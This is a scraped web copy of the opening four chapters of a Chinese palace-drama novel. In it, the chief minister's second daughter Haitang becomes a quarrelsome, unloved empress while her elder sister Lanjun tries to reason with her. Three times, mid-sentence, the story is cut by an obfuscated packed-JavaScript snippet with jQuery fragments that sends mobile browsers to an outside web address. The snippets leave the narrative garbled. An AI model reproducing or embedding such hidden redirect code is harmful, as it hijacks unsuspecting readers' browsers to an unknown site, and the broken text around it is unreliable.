《金钿娇》 1. 第一章 过了立春,日头亮得便早些了,只是天气还有些凉,兰君怕冷,穿上了夹衫。 这夹衫用得上好的料子,内里是细细的棉,外头用嫩黄的缎子包着两层,衣角处用天蚕丝绣了柳叶和蜻蜓,丝线绵密,看不出一点针脚破绽,一走动起来,更显得栩栩如生。 这是二妹妹从宫里送来的,去年腊八节的时候,知道她畏寒,特意送了新制的袄子和上好的皮料来。 二妹妹,唉,想到二妹妹海棠,兰君不由得叹了口气。 二妹妹那样的性子,在宫里只怕也是日夜煎熬,如今谁不知道帝后交恶,颐妃独宠,她即便有心襄助,也是无能为力。 知道那长信宫不是好去处,颐妃和皇帝年少相识,是皇帝迎娶的第一个妃子,她温文尔雅,知书达理,极得皇帝宠爱,又是宣平侯府长女,门楣光耀。 虽为贵族出身,待人却向来亲和,宫内宫外无不交口称赞,身为宫妃,又一贯勤俭朴素,很得平民出身的章太后赏识。 她的贤名如雷贯耳,在宫中地位稳固,与皇帝感情深厚,据说原是定她为皇后的,章太后也十分满意。 谁料后来因为前朝波折,这皇后改从她宇文家选了,颐妃自知前朝后宫息息相关,不忍让皇帝太后为难,自请为妃,让出皇后之位,这番深明大义,让人如何不感念。 皇后,这长信宫的凤位轮到她宇文家的女儿坐了。 看似母仪天下,贵不可及,实则是个深坑。 她是家中长女,这坑本该她去填,可是爹爹不舍得,推了二妹妹进火坑,而她被许配给了定国公府的世子徐威,提前预订好了国公夫人的位置。 徐威与她年岁相仿,也算相貌堂堂,青年才俊,又是承袭爵位的世子,这门婚事算来她并不吃亏,徐家三朝元老,一向中立,就算门阀党争,这把火也烧不到徐家身上,待她将来嫁过去,再生个一子半女,安然度过此生便算圆满。 想到这里,宇文兰君又是一声叹息,她与二妹妹自小感情深厚,二妹妹那个歇斯底里的性子,她是一万个放不下心。 去年六月帝后大婚,至今不过九个月,听闻帝后已经到了你不见我,我不见你的地步了。 大婚之日二人便发生争执,皇帝撇下中宫与颐妃共度一夜,又传新后善妒,屡屡为难颐妃,奢靡无度,不服太后管教,顶撞皇帝,摔碗砸向御前近侍。 种种罪名加身,不知废后之日何时。 颐妃聪慧,二妹妹海棠也并非傻子,不知她为何要四处树敌,也许实在是心中怨气难消吧。 兰君之前去过宫里几次,海棠对她并无怨言,只一味埋怨父亲,恨父亲拿她一生幸福做筹码。 谁说不是呢,女儿家,都是一样的命运,零落成泥碾作尘,即便出身宇文氏,也不例外。 * 周王朝传世三百年,如今正值诸侯割据,皇权动乱之际。 当朝皇帝年号开平,十岁登基,迄今已十四年。 皇帝少时为君,先帝命章太后与辅政四臣教育辅佐,宇文家位列其首,兰君的父亲宇文宏都历经两朝,兼太子太师、大相国之职,权倾朝野,门生遍地。 曾经皇帝还是颇为尊重这位相国兼帝师的,只是年岁渐长,孩童变青年,如何能再事事听从? 章太后平民出身,走到今天,亦不是简单人物,母子俩齐心合力,力求肃清朝野,重揽皇权。 确实在这些年的努力之下,从前的辅政四臣,河西侯靳弘已经病故,现由其子靳桓继承其河西侯之位,靳桓此人颇有能力,刚刚被加封为大司马,但靳家势力已离开京都,靳桓驻守河西地界,常居陵邑,甚少回京。 江东侯王历也病死数年,现由其子王璟继承,书生一个,也是常居建安,不在京都。 大将军彭亭早已年迈体弱,不堪征战,只顾着安享晚年了。 唯有宇文家,仍然势力庞大,宇文宏都位至相国,门生众多,其子宇文靖霆拜车骑将军,战功赫赫。 只是这几年皇帝与宇文家生了嫌隙,多有不满、不信之意,转而宠信起身边的后起之秀,尚书令卜瀚文等人。 那卜瀚文统领枢密院一众文官,舌灿莲花跪舔皇帝和章太后,深得皇帝宠信,从通政院参议一路加封至尚书令。 宇文宏都本已无意朝廷党争,他明白皇帝人大了,心也大了,既然管不住,自己又无谋权篡位之心,何必与之争锋相对,可这卜瀚文偏要出个馊主意把他们宇文家拉下水。 去年巴蜀两次动乱,皇帝有意收拢兵权,下令各地诸侯拥兵不得过三千,屯兵超数者,三月之内需尽数遣散。 这一下子事可大了,不许地方拥兵,那从此各地诸侯便任由朝廷宰割了,今年收你税三成,明年收你税五成,你胆敢不从? 兵器和人马在人家手里,只能人为刀俎我为鱼肉,况且这兵权一旦丢了,便是再也拣不回来了,各地诸侯早已当土皇帝当惯了,岂能愿意,今日你收我兵权,明日你再收我地盘,后日连这侯爷也不让我当了,我该怎么办? 诸侯们纷纷不满,屡生事端,皇帝文治武镇,远安近攘,忙得焦头烂额,对于地少人稀的郡县,也动之以情晓之以理地劝服了不少归顺朝廷,对于势力庞大的郡县,皇帝势必要挑几个枪打出头鸟。 这平乱自然需要人选,宇文靖霆是不二人选,前朝也是议论纷纷,褒贬不一,皇帝终究太心急了,这次地方动乱闹得京都心也乱,赞成者少反对者多,皇帝发了几次怒,深感独木难支,还是需要一颗大树来平定人心。 思来想去,宇文宏都,这位两朝元老,托孤重臣,大相国,他曾经的帝师,实乃最佳人选。 可是这几年与宇文家离心,闹得十分不愉快,这时候如何能让他们向着自己呢?这个向着,得是真心向着,不能表面向着。 若是表面臣服,背后再给你来一刀,这不是更完蛋了吗! 皇帝正在发愁,卜瀚文便送上馊主意一计。 若是宇文氏与皇室联姻,成了您的岳家,岂会不向着您? 此话有理,但皇帝颇为犹豫,太后和他都属意宣平侯之女杨馨为后。 杨氏乖巧温柔,与他也相识甚久,若娶了宇文家女儿,岂不辜负杨馨? 只是若要联姻,纳为妃妾这是在打宇文家的脸。 宇文氏女儿,非后位不可相配。 只是这样就要委屈杨家了。 皇帝本在犹豫,不知卜瀚文又游说了什么,大抵是些杨姑娘甚识大体,陛下成大事者何拘小节,古来帝王废后者众多,待将来宇文相国年迈仙去,宇文家势微之时,再补偿杨家不迟,先度过眼前难关要紧。 皇帝终究被他说动了,再者这宇文家女儿也不差,宇文兰君才华出众,琴棋书画样样精通,还时常在城外施粥救济穷困人家,美名在外不亚于杨馨,从前宴席上见过几面,容貌亦十分美丽。 罢了,事急从权,也无他法可施。 皇帝终究应允了,又备重赏,派信王和吴老尚书前去相国府商议此事。 连皇帝自己也想不到,如今他竟然要娶宇文家的女儿了,在此之前他已十分厌恶宇文氏父子二人,巴不得不要再和宇文家打交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362161|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 世事无常,让他倍感五味杂陈。 待信王和吴老尚书到了相国府,传达圣意。 宇文宏都自然不乐意,拉着脸,冷哼一声:“这小子,想把主意打到我宇文宏都头上来,他还嫩着点!” 同朝数年,吴老尚书怎会不知他的脾气,只是身负圣谕,不得不办呐! 信王和老尚书也知道此事皇家理亏,连带着他俩都抬不起头。 二人对视一眼,尴尬一笑,又好言相劝道:“明白相国心中怨气,只是皇命难违,还请相国再思量思量,再说兰君小姐秀外慧中,就该位主中宫,母仪天下,您是相国,又是国丈,将来是太子外祖,宇文氏长盛不衰,何乐而不为呢?有您这样德才兼备、品行高远、鞠躬尽瘁、大义凛然的外祖,那将来的太子该是何等人物,这是我大周子民的福气,是我大周国运啊!” 吴尚书已经老得成精了,两句话便将高度上升到万千子民,大周国运。 不过宇文宏都纵横朝野这么多年,也不是任人拿捏的,不是要娶他宇文家女儿吗?好,他家可不止一个女儿! 想靠姻亲拿捏他,做梦! 宇文宏都皮笑肉不笑,两唇轻掀:“说的也是,只是不巧,我这大女儿兰君已经订亲给定国公府了,小女儿嘉宁年岁尚小,且脾性顽劣,腆居后位怕是不妥,况且前面两个姐姐还未出嫁,轮不到她。” “倒还有个二女儿海棠,容貌艳绝,天人之姿,只是素来少出闺阁,不如兰君声名在外,既然要娶,那便只有这个二女儿了,若是小女微贱,陛下看不上,那此事还是作罢吧!” 吴老尚书忙道:“相国过谦,相国过谦,您的女儿自然人中龙凤,怎说微贱?” “只是…”他甚感为难:“圣上还是颇为中意兰君小姐,不如我去与定国公府商议,两家就此退亲吧,事出有因,想必他们可以理解。” “这怎么行?人生在世,诚信为本,已经允诺他人的事,怎可后悔?莫要让人以为我宇文家拜高踩低,贪图皇家富贵。” 宇文宏都手一挥:“不过你们也不必担心,我这二女儿啊,虽然不怎么出去见人,但是她也不差啊,都是我的女儿,有什么不一样?再说她的容貌可是远胜她姐姐,陛下既然看得上兰君,那必然也看得上她,不信我可拿画像出来给二位看看,你们也好回去复命。” 至于为什么是看画像,而不是叫人出来看,呵呵。 宇文宏都微微一笑,高翊啊高翊,你这小子自私自利,妄自尊大,对自己的老师都这样不仁不义,就别怪我送个煞星给你。 你要我女儿,我就给你个女儿,就看你们高家架不架得住了! 不过有一句话,宇文宏都倒是没说错。 宇文氏三个女儿,确实是这个二女儿海棠姿容最佳,方才他说美艳十分,天人之姿,绝不是夸口。 所以当信王和吴尚书二位前往太极殿复命时,皇帝蹙着眉,脸有些黑,这种一直被迫妥协的感觉让他不满。 本来想着宇文兰君倒也罢了,怎么又来个二小姐。 但经信王和吴尚书一番劝说:“陛下不必担忧,这位二小姐比兰君小姐只小一岁,臣与信王殿下都看了画像,真是花容月貌美如天河织女啊,得此佳人,陛下绝不会后悔!” 半晌,皇帝冷着脸,不情不愿道:“好吧好吧。” 如今再提起那句“陛下绝不会后悔”,吴老尚书只怕要把自己的脸给扇歪了,就是他自己不扇,皇帝也是眼冒火光要扇他了。 是以吴老尚书已经接连几月称病在家休息了。 2. 第二章 兰君换了衣裳,对着铜镜簪了一朵珠花,她的贴身丫头玉湘进来说:“三姑娘在书房等着了。” 三妹妹嘉宁近日练习楷书,父亲命兰君指点教导,嘉宁也是贪玩的性格,难得用功一次,兰君自然希望她保持这份勤勉,好好把性子收一收。 嘉宁是家中最小的女儿,也将要十七岁,不过大周男女成婚晚,越是贵族子弟越不兴早婚,过了二十才订婚的比比皆是。 兰君自己就是二十岁才订的婚,今年她已经二十一岁了,父亲却还不着急嫁她出去,有意再留她一年。 海棠比她只小一岁,打小她与海棠更亲近些。 兰君到书房时,三妹嘉宁已在那里坐了有一会儿了,面前放着几张刚写完的字帖,正在数着毛笔上的分叉玩。 兰君皱眉,又在分心。 长姐如母,母亲去世的早,她这个做姐姐的不得不承担起管教妹妹们的责任。 父兄放纵,二妹妹已然毁了,不能看着三妹妹也堕落成一窍不通的纨绔。 兰君走过去检查桌上的字帖:“练字最忌态度不端,你今日有些马虎了。” 话没说完,就看到嘉宁头上插着一支亮晃晃的金钗。 看着眼熟:“这是海棠的首饰吧?” 如今朝代以素为美,崇尚天然去雕饰,只有海棠才喜欢这些金灿灿的首饰,她记得海棠以前经常一左一右戴着两支大金钗招摇过市,嘉宁还算低调,只戴了一支。 听到姐姐问起,嘉宁把头抬起来:“对啊,二姐姐走之前把她的首饰匣子都给我了,只带走了娘留给她的玉玦,她说等她到了宫里,有用不完的好东西,娘家的东西就都给我了,本来她说分一半给你,但是你平日又不怎么喜欢首饰,就全给我了。” 说着说着忽然有些惆怅,嘉宁撑着下巴,从腰上捞起玉玦打量起来:“娘留下的玉玦一共三块,模样相同,咱们姐妹三人各有一块,二姐姐只把这个带走了,她还是想着娘,想着咱们姐妹的。” “听说二姐姐过得不好啊,宫里宫外到处传言陛下疏远她,只专宠颐妃一人,杨家的女儿那么厉害,二姐姐怎么斗得过她?” 兰君闻言也有些伤感,那年冬日海棠不慎掉入湖中,娘心急之下跳入湖中救她,就此病倒,不久后便撒手人寰。 爹爹把丧妻的怨气全怪在二妹妹身上,其实娘自生下嘉宁之后便身体亏空,总是缠绵病榻,此事实属意外,真要算起来,只能怪天妒红颜,也不能怪在二妹妹一人身上。 只是就此父女之间生了嫌隙,爹爹认为二妹妹命硬克母,看二妹妹鼻子不是鼻子眼睛不是眼睛,二妹妹自己也心存愧疚,时常彻夜难眠,又总是与爹爹争执,脾气愈发古怪。 兰君与嘉宁怜惜姐妹,时常迁就,当时宫中来求娶时,嘉宁直接明说了不愿意,海棠显然也不适合,兰君本以为爹爹会选她,可谁知道最后还是推了海棠出去挡刀。 爹爹对她说:“你与你哥哥,是宇文氏长子长女,亦是我最看重的孩子,嘉宁年幼,也无大错,我不忍心看她此生飘零受苦,皇帝想用女儿要挟我,咱家能舍出去的女儿,也就只有一个了,将来若真有动乱,是生是死,唉,看她造化了。” 兰君说:“是我欠妹妹的。” 爹爹告诉她:“此事与你无关,她要恨就让她恨我好了。” 兰君想着心事,也不忘提醒嘉宁:“这样的首饰不适合你,往后少戴,还是端庄些为好。” 外头玉湘掀了帘子进来:“宫里来了口谕,皇后娘娘宣大姑娘明日进宫叙话呢!” 嘉宁闻言跳起来:“二姐姐偏心,每次只叫大姐姐去,从来不叫我去!” 兰君点着她的额头将她按回座位:“反正你没把落下的课业完成之前,你是出不去相国府大门的,若是你从现在开始专心致志,勤奋刻苦的话,那我下次出府赴宴烧香时,可以酌情带上你。” 嘉宁扁着嘴:“做什么事都要讲条件,一换一,二换二,你上辈子指定是个账房先生。” * 翌日一早,兰君进宫。 长信宫的向嬷嬷早已等候着,见面便笑脸迎她:“大姑娘慢些,留意脚下。” 兰君徐徐而行,问道:“长信宫近来没什么事吧?娘娘可还好?” 一提这个向嬷嬷脸就苦了:“娘娘的脾气您不是不知道,我行我素,唉,谁能劝得动她呢?” 说着便侧过身来悄声耳语:“前日还动手打人呢,亏得咱们消息拦得严,没叫陛下和太后知道。” “啊?”兰君一惊:“她竟动手打人?谁又招她了?” 向嬷嬷道:“唉,不过闲逛的时候听到两个长信宫的洒扫宫女在胡诌,说什么皇后娘娘不如颐妃,在长信宫没前程,想去延庆宫谋个差事。” “您知道的,深宫寂寞,宫女内监们哪有那么谨言慎行,议论主子们是非是常有的事,偏这回不巧被皇后娘娘听了个正着。” “娘娘当时正好又心情不好,上去两个大耳光,就骂她们:‘吃里爬外的东西,我少你们一分月例和吃食了吗?你们每天扫两遍地就回去睡觉了,我喊你们当差了吗?喊你们守夜了吗?就这样还不知足,还想要什么前程?想找谁就赶紧滚去找去,少在我眼前添晦气!’” 说起这些来向嬷嬷简直滔滔不绝,模仿得惟妙惟肖。 “还有上个月,司膳局来送燕窝,您也知道太后一贯节俭,最不喜后宫奢华,大约是不满长信宫燕窝用量太多,命司膳局削减分例,谁知娘娘又大发雷霆,照着王司膳脸上摔了个茶杯过去。” “大骂道:‘太后几岁了,我才几岁?太后能活过我吗?本宫还没死呢你们现在就不把中宫放在眼里了?太后她老了,吃那么多干什么,我们年轻人正是长身体要进补的时候,既然太后节俭,以后就把太后那份给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362162|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧!’” 我的天老爷,向嬷嬷有苦难言,她伺候过许多主子,就没见过这样的主子,口无遮拦,动辄打骂,一整个“掌”管六宫,之前跟颐妃在宫道上遇见,就因为颐妃请安慢了些,给人家推一个屁股蹲。 陛下和太后都咒骂宇文家其心可诛,嫁了个疯姑娘过来,可是皇后平时自己待着的时候吧,看着又没那么疯癫。 这时好时坏的,向嬷嬷真犯愁,就怕自己一把年纪了,跟上这位宇文皇后,小命迟早要送掉。 向嬷嬷吐了半天苦水,忍不住对兰君道:“大姑娘,娘娘倒是挺听您的话,她年纪尚轻,不知道许多事做了就回不了头了,许多话说了就收不回了,还望您多开解开解她,也劝说劝说她。” “陛下和太后已经满腹怨言了,更有多事者添油加醋,进献谗言,如今有父兄家族庇护,陛下还能忍耐三分,长此以往,只怕,唉…” 兰君听了也是吓呆:“她,她这又是何苦。” 她打定主意这回定要与妹妹深切沟通一番。 待到了长信宫,刚踏进门槛她就开始眼花缭乱了,宫殿四周到处珠围翠绕,花鸟盘旋,地上铺着织金密绣的地毯,墙上挂着巨幅的富贵牡丹图。 屏风是翡翠象牙所制,茶杯尽数用白玉雕刻,就连帘幔都是珍珠串成的,且每一颗珠子都用薰香入味,四周的各式摆设也和上回来时大不相同,一整个华美如仙境。 与长信宫一对比,章太后的太安宫就像寒窑,颐妃的延庆宫也就比寒窑好那么一点。 难怪章太后会气得吐血,她这半辈子抠搜省下的钱,全让儿媳妇花了,这谁能乐意? 兰君上前请安:“皇后娘娘金安。” 榻上腮粉唇红的美人轻轻一笑:“姐姐拘束什么,快坐。” 兰君一抬头,我的天。 妹妹还是那个妹妹,就是身上又是苏绣又是织金,头上戴了一、二、三、四、七八样钗环首饰吧,脖子上还套了一个宝石项圈。 旁边站着的宫女春泠,海棠从相国府带进宫的贴心人,也被打扮得四支珠钗齐插,鬓边配一朵红花。 主仆二人一整个璀璨夺目,好比长信宫的夜明珠。 兰君刚才一肚子话,现下半晌张不开嘴 直到海棠又喊她坐,她才回过神来。 海棠亲手给她添了茶,含羞带笑问道:“我有那么好看吗,姐姐都看呆了,在家二十年还没看够啊?” 说罢摸了摸头发:“妹妹真的不想这么高调,但是天生丽质难自弃。” 兰君苦笑一声:“是的。” 端起茶喝了一口,又道:“怎么听说又和太后起了争执?我知道你看她不顺眼,毕竟是长辈,就忍忍吧,表面功夫总要做一做的。” 海棠撑起下巴,语气懒散,染着鲜红蔻丹的指甲格外夺目:“有颐妃拍她马屁,足够了,我还是省省心吧!” 3. 第三章 兰君接着追问:“那陛下呢,毕竟是你的夫君啊,就这样两不相见,将他拱手让给颐妃了?再说陛下玉树临风,并不丑嘛,不至于看不下去吧?过日子不是一年两年,是一辈子啊?眼前得过且过,往后怎么办?没有宠爱,没有子嗣,你真要把长信宫变冷宫啊?” 海棠倒是丝毫没认识到问题的严重性,甚至还笑了出来:“你瞧瞧颐妃就知道了,贤良淑德,忍气吞声,最后等来什么了?皇后变妃妾,把我给等来了!” “可见女人的委屈是受不完的,只有把委屈给别人受,自己才能不受委屈,皇帝待她,也是真情假意似有若无,谁知道呢,若真是情深意重,怎么会轮到我来坐这个皇后位置呢?” 说罢拍了拍兰君的手:“姐姐不必担心,都不知道能活到几岁呢,担心以后的事做什么,你以为颐妃就快活了,谁知道以后有没有新人来取代她,不对,不用以后,现在就有一个了。” 她狡黠一笑:“太后赏识司制局一个女官,已经将她封为才人了。” 兰君惊讶:“啊?那颐妃也没说什么?” “她贤惠着呢,怎么敢有二话。” 兰君又问:“那你平日呢,就只顾着吃喝玩乐,就没别的事做?” 海棠扁起嘴:“是啊,要不然我无聊呢,所以才找你来嘛!” “我现在都不用去太安宫请安了,太后已经被我烦得不想再看见我了,圣驾也不来,这里挺清静的,姐姐你说要不然我把嘉宁召进宫里给公主们当伴读吧,这样我就能天天看见她了,而且先帝留下的那几个小公主和她年纪也差不多。” 兰君扶额:“你别害她了。” 海棠委屈得很:“唉呀你也别总是责怪我嘛,只要别人不找我麻烦,我也不会自己去惹是生非啊,我平时就在长信宫大门不出二门不迈的,闲了就自己看看书,这还不乖啊?” 终于有一句让兰君欣慰的话了:“看书好,看书好,没想到你现在喜欢上看书了,你爱看什么书?姐姐下次带些给你。” 海棠道:“没什么,就是些《红香院》,《柳枝记》之类的,都翻腻了。” 兰君一口茶差点呛死:“这这这…这都是市井污秽之书啊,你身为皇后怎么能看这种书?万一被人发现怎么办?你从哪里弄来的这些东西?” 兰君心里一把辛酸泪,我辛辛苦苦教导你,你不学好你看黄书。 海棠不以为意:“当然是从宫外弄来的了,这有什么要紧的,我都压在后面佛龛的菩萨脚底下的,谁能发现?谁会没事干去把菩萨端起来?” 兰君已经无话可说了,你把黄书放在菩萨脚底下。 唉,算了,无知者无畏。 谁料海棠又给她锥心一击:“对了姐姐,你也别老说我,你怎么知道是污秽之书,你也看过吧?” 兰君一张美丽的小脸涨得通红。 海棠又兀自点评起来:“我还是最喜欢《红香院》的故事,阿香有三个男人。” 她伸出三个手指,重点强调:“三个男人!什么概念!还个个英俊潇洒、家财万贯、体格健壮、麒麟玉臂,好福气啊好福气,真是好福气!” “你够了!”兰君终于尴尬到忍不住出声阻止:“喝点水,喝点水。” 又小声嘀咕:“男人多有什么好的,一个都顾不过来了,越多还不是越麻烦。” 海棠不认可:“你错了姐姐,一个男人,是麻烦,三个男人,是福气。” 兰君皱起小脸:“妹妹,你毕竟是皇后,是中宫,别忘了你的身份。” 海棠却道:“谁叫他们选我这粗鄙之人当皇后,谁选的谁活该,我的能力只有这点,我的出息也就这点,是他们非把我放到皇后的位置上,怎么能要求我必须有与之匹配的品行和能力呢?” “难道我现在钦点一个乞丐当状元,他就必须得学富五车,满腹经纶了?” 兰君纠正:“不要拿自己与乞丐相比,你是宇文家的女儿,怎可与乞丐相提并论?” 海棠轻笑:“我只是宇文家舍弃掉的女儿,与乞丐何异?爹既然不管我的死活,那我也不管他的死活,我想怎样就怎样!” 兰君无奈:“你还是在赌气,棠儿,你的人生是你自己的,别拿来跟任何人赌气。” 海棠笑道:“如今是我最快活的时候,还有什么不满意的,姐姐就是太过杞人忧天,放心吧,还没到你愁的时候。” 宫女端上了茶果和点心,海棠一扫心中不快,俏皮笑道:“姐姐快尝尝这红枣羹,是我亲手炖的,你尝尝还是不是之前的味道?” 她做红枣羹是一绝,上好的鲜红枣用银耳水泡发,细细炖两个时辰,炖到香软黏稠,再佐以花蜜和冰糖,晾到八分热,暖暖地喝上一口,足以驱散肠胃里的所有寒凉。 兰君端起红枣羹,用小银勺送了两口,这时外头进来人通传:“颐妃娘娘来请安了。” 海棠脸色不佳:“真会找时候,叫她进来。” 外头来回又传了几句话,珠帘被掀开,一个宫装女子走了进来。 兰君探头去看,这就是久仰大名的颐妃,身量纤细,穿一袭月白色绣竹叶的宫装。 远看腰肢盈盈一握,近看眉眼秀丽温婉,发间只戴了两只围镶珠钗,虽打扮素雅,但那钗上的珍珠颗颗光泽圆润,一看便是南海的珍品。 兰君起身行礼,颐妃温柔一笑:“臣妾真是来得不巧,打扰娘娘姐妹叙话了。” 这样婉约的佳人,言谈举止都找不出一丝差错,兰君不由得为海棠捏了把汗。 海棠却只是坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362163|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,摆足了皇后架子,毫无抢了他人位置的心虚之感:“你来干什么?不是免了你请安吗?” 颐妃恭敬含笑:“臣妾知道娘娘体恤,只是正巧臣妾舅舅从岭南送了些新鲜蜜瓜来,地方特产,不是什么贵重东西,但是礼轻情意重,特地送来给娘娘尝个鲜。” 兰君瞥了一眼海棠,看她样子估计是想吃。 果然海棠开了口:“行吧,送到后头小厨房去,你回去吧。” 这…连口茶都不给喝,就打发人回去啊? 兰君面露难色,可颐妃仍面带笑意,似乎早就习惯了:“那臣妾就不打扰娘娘了。” 待颐妃走远,兰君才道:“你也太不客气了,瞧瞧人家多周到,你就不能跟人家学学?装都不舍得装一下。” 兰君虽然恨铁不成钢,但自己也不知道说什么好了,从前总是听说宫中多么深不可测,帝王嫔妃多么有苦难言,中宫之位更是悬崖峭壁,如履薄冰。 如今看来,这皇后没什么难的,随便当当就好了,海棠这样都能当得。 吃人嘴短,又不想欠人情,海棠想起昨日司膳局送了不少东西过来,便吩咐春泠:“礼尚往来,就把柜子里的血燕和那两罐蜜拿给颐妃吧。” 兰君好奇:“你又不讨厌颐妃了?” “我没说我讨厌她啊,她就是假模假样了点,人还行吧,我最讨厌太后那老太婆,第二就是她儿子。” 兰君知道是管不了她满口胡言乱语了,只问:“你不是才说燕窝不够吃闹了一回吗,怎么还有多的送人?” “怎么不够吃,宫里还能有不够吃的东西?血燕白燕金丝燕,我吃得都快吐了,”海棠勾起嘴角:“我就是要跟那老太婆对着干,谁让她给我下马威。” 冷哼一声:“老太婆抠得要死,瞧颐妃跟着她,连朵花都簪不得,老寡妇带着小寡妇,看着都倒霉!” 纵然兰君已经有了心理准备,还是被她的口出妄言吓了一大跳:“你疯了!这样大不敬的话也敢胡说,不怕杀头啊?” 海棠挑挑眉毛:“杀头?谁敢杀皇后的头?连皇帝都不敢,要敢杀他早杀了,还能忍我到今天?再说子不教父之过,要杀也该先杀爹的头。” 兰君哑言:“…但你毕竟还是代表着宇文氏,代表着相国府,就算不想着父亲,也该顾念顾念哥哥和三妹妹吧,切莫祸从口出,算姐姐求你了。” 海棠摇头:“爹早就说过不认我这个女儿了,我一个被逐出家门的女儿,何来脸面代表宇文氏?姐姐不必忧心,我如今已是高家的媳妇了,出嫁从夫,要丢也是丢高家的脸,丢不到宇文家去,说来妻不贤更是夫之过,也怪高翊自己太没用。” 老天爷啊,不能再与她说下去了,兰君摸着胸口,否则自己今晚注定要失眠了。 4. 第四章 兰君走后,长信宫安静了下来。 海棠盘起腿没规矩地坐着,兀自有些出神。 今日初一,按旧制帝后需同寝,想到皇帝那张脸,她顿感厌烦,连手里拿着的橘子都扔出老远。 不过皇帝大约是不会来的,上回他俩动了手,皇帝骂她泼妇,她发疯捶了皇帝好几拳,三个人都拉不住。 已经两个月没见着他人,但愿老天保佑,真不想看见那张让人倒胃口的脸。 海棠许愿一向很灵,可惜这回老天没保佑,晚膳过后还是听到不幸的消息。 那张倒胃口的脸,来了。 圣驾一来,长信宫忙碌了起来。 向嬷嬷远远看着帝后二人,如此姿容,如此般配,任谁看着都是郎才女貌,神仙眷侣啊,怎么两人就是处不来呢?莫非是属相相冲,天生不合? 殿内,皇帝坐在海棠对面,看她衣着单薄,难得地关心了一句:“怎么穿得这样少?” 海棠没忍住笑了:“清明还没到呢,陛下就撞邪了?” 皇帝的眼神和脸一起黑了下来:“狗嘴里吐不出象牙。” 海棠别过脸去:“谁嘴好您就找谁去,咱俩还是别互相碍眼了。” 皇帝来自然是有事:“明日你和朕一起去太安宫请安,上回你言语狂悖,太后气到现在身子还不见好,你明日过去,好好认个错,赔个不是,让太后消消气。” “凭什么?”海棠一下子站起来:“她骂我我还得给她赔不是?这什么道理?我还气着了呢,谁管我了?再说那不是有颐妃吗,我让她替我去。” 皇帝一听到颐妃就气不打一处来:“你让颐妃去?你凭什么让她去,她是后宫命妇,帝王嫔妃,当着朕的面你就敢对她颐指气使,如此羞辱,宇文海棠,你真当你是宇文氏女儿,朕就拿你没办法吗?” 海棠表情冷淡:“陛下千万别给我扣帽子,我是皇后她是嫔妃,我不喊她我喊谁,我喊你你去吗?” “太后对我也是颐指气使,百般羞辱,陛下这时候就忘了我是后宫命妇,帝王之妻了?” 皇帝脸色阴沉如水:“别提妻这个字,朕一想到就恨从心起,你们宇文氏蛇鼠一窝,你父亲歹毒阴险,你们合起伙来算计朕,将你这无能纨绔的泼妇嫁给朕,难怪他当时答应得那么痛快,分明是包藏祸心,宇文海棠,朕告诉你,这件事没那么容易揭过去,这笔帐朕记在心里,早晚跟你们宇文家讨回来!” “你在这长信宫已经嚣张得够本了,现在到了朕忍耐的底线,你再继续下去,别怪朕不留情面。” 海棠腾地猛拍床板:“你当我吓大的?我也告诉你,本宫是中宫皇后,原配嫡妻,你胆敢拿我怎么样?” 她步步逼近,那张美艳面孔在明灭烛火的闪烁下,展现了它原有的妖冶和杀气:“别瞧不起宇文家,也别忘了我这个皇后,还是你亲自向我父亲求来的呢,更别忘了你的皇位是靠谁坐上来的?饮水还得思源呢,没有我们宇文家,没有我父亲,你当得了这个皇帝吗?你享得了这个富贵吗?是谁沾了谁的光,你还没搞清楚吗?” “现在后悔了?晚了!” 少时登基,俯首仰赖他人,是皇帝平生最痛恨之事,她却偏要往他心窝子里扎。 气息一时间凝固起来,半晌后,皇帝才冷笑出声:“你的狂妄跋扈,尚且虚有其表,你那毒如蛇蝎的内心,才是你的真面目,宇文海棠,你就坐好这个皇后的位置吧!” “呵呵,做好你的宇文皇后,将来史书上定会留你一笔的。” 不是暴毙,就是自尽。 海棠面带笑意:“我自然要坐好皇后的位置,陛下最好也要坐稳自己的位置,毕竟帝后一体,有你才有我啊!” 皇帝甩手走人,留下一个冷漠的背影。 海棠阴着脸看他走远,心中闪过一丝痛快。 她就是要他生气,他越生气她就越高兴。 凭什么他一句话就改变她的人生,她不快活谁都别想快活。 她转身进了内殿,向嬷嬷追过来:“娘娘,您怎么总是这样刻薄陛下呢,就不能温柔些,兴许夫妻感情能有所缓和呢!” “夫妻?”海棠转过身来:“休要再提这两个字,让我恶心。” 门外,皇帝坐上前往延庆宫的轿辇,两侧宫灯辉煌,内侍们徐徐前行。 皇帝揉了揉涨痛的眉心,又想起海棠骂他的话。 没有我爹,没有我们宇文家,你坐得上这个皇位吗? 这句话在他脑海里反复回响,让他心烦意乱。 